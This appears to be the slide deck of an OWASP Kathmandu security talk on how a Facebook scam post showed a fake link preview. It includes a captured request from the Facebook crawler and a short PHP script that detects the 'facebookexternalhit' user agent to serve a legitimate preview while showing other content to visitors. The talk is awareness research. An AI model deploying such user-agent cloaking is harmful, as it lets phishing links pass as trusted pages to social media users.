



OWASP®  
काठमान्डू



# REVERSING THE FACEBOOK PREVIEW BYPASS FOR PHISHING DELIVERY

Presented by Sushil Phuyal



OWASP<sup>®</sup>  
kathmandu



# Whoami

I am Sushil Phuyal (1337mickey), working as a penetration tester at Cynical technology, and academic tutor at Islington college. I love learning more into the mystery of computers and computer security.

# Everything starts from the lecture hall of islington:



ONLINEKHABAR.COM

मनोज धमलाले फेसबुकबाट निःशुल्क विज्ञापन कसरी चलाउने भन्ने कुरा साझा  
गर्नुभयो।



## Intro

Manoj Dhamala is Video Jockey. He Produced The Many Popular Programmes in TV

1 Page · Digital creator

19/19-21 The strand street, Rockdale, NSW, Australia, New South Wales

dhamala111@gmail.com

[manojdhamala.com](http://manojdhamala.com)

## Photos

[See all photos](#)



<https://sites.google.com/view/15414132>



MANOJ Dhamala  
April 13 at 12:46 AM ·

Thank you ❤️ OnlineKhabar



ONLINEKHABAR.COM

मनोज धमलाले फैसबुकवाट निःशुल्क विज्ञापन कसरी चलाउने भत्रे कुरा साझा गर्नुभएका दसक समीक्षा-५ : मनोज धमलाले फैसबुकवाट निःशुल्क विज्ञापन कसरी चलाउने भत्रे कुरा साझा गर्नुभएका

1.3K

113 comments

Like

Comment

Share



Write a comment...



Nerajan Kc  
scammer 😡

# My assumption went to OG (open graph)



OWASP<sup>®</sup>  
kathmandu





OWASP®

kathmandu

Interesting thing is upon hovering it showed something else and, it opened legit looking website with some shitty Nepali grammar. with all the fake images including advertisement, but only thing that was working is the link given.

**<https://sites.google.com/view/15414132>**

# Now investigation starts!



I later ended up with the small talk with Ashish which lit me up to try this out, and it works. but for that first i needed to understand how does a facebook takes a preview.

**Create post**

Sushil Phuyal

<http://48aw8534clsowlig52kpu7mgz75xtm.oastify.com>

Add to your post

Boost post

You'll choose settings after you click Post. You can only boost public posts.

Post

**Generate Collaborator payloads**

Number to generate: 1   Include Collaborator server location

**Poll Collaborator interactions**

Poll every 1 seconds

#	Time	Type	Payload	Comment
1	2023-Apr-30 04:26:39 UTC	DNS	48aw8534clsowlig52kpu7mgz75xt...	
2	2023-Apr-30 04:26:39 UTC	DNS	48aw8534clsowlig52kpu7mgz75xt...	
3	2023-Apr-30 04:26:39 UTC	DNS	48aw8534clsowlig52kpu7mgz75xt...	
4	2023-Apr-30 04:26:39 UTC	DNS	48aw8534clsowlig52kpu7mgz75xt...	
5	2023-Apr-30 04:26:39 UTC	HTTP	48aw8534clsowlig52kpu7mgz75xt...	
6	2023-Apr-30 04:26:40 UTC	HTTP	48aw8534clsowlig52kpu7mgz75xt...	

**Description Request to Collaborator Response from Collaborator**

Pretty Raw Hex

```
1 GET / HTTP/1.1
2 Accept: /*
3 Accept-Encoding: deflate, gzip
4 User-Agent: facebookexternalhit/1.1
(+http://www.facebook.com/externalhit_uatext.php)
5 Range: bytes=0-524287
6 X-FB-CrawlerBot:
AakjbFoXgfgZrOSXFyyQI_x8k-uEZ1XqYzrVCD9pQMZgcOPWFHzonCAzEmO
EUKG4ljfpFU3y5zUwhDp4ml-Ot1VcKGsI5lrI
7 Host: 48aw8534clsowlig52kpu7mgz75xtm.oastify.com
8 Connection: close
9
10
```

Inspector

Request Attributes 2

Request Headers 7

Funny thing about  
research is,  
it always seems so  
less when solved.





OWASP<sup>®</sup>  
kathmandu



# CHATGPT rocks!!

```
● ● ●

<?php
if (strpos($_SERVER["HTTP_USER_AGENT"], "facebookexternalhit") !== false) {
    header("Location: https://owasp.org/www-chapter-kathmandu/");
} else {
    echo '<html lang="en">
<head>
<title>OWASP presenation</title>
</head>
<body>
<h1>Hello, now an attacker can POST this in the facebook to give a fake preview and phishing could be
delivered here.</h1>
</body>
</html>';
}
?>
```



OWASP<sup>®</sup>  
kathmandu



Sushil Phuyal

Just now ·

...

<https://owaspkath.sushilphuyal.com.np>



OWASP.ORG

## OWASP Kathmandu | OWASP Foundation

OWASP Kathmandu on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

i

Like

Comment

Share



Sushil Phuyal

Just now · 🔒

cool owasp resource!

...



# OWAS



OWASP.ORG

**OWASP Kathmandu | OWASP Foundation**

OWASP Kathmandu on the main website for The OWASP Foundation. OWASP is ...



Like



Comment



Share



OWASP<sup>®</sup>  
kathmandu



OWASP  
काठमान्डौ



# THANK YOU

Happy hacking!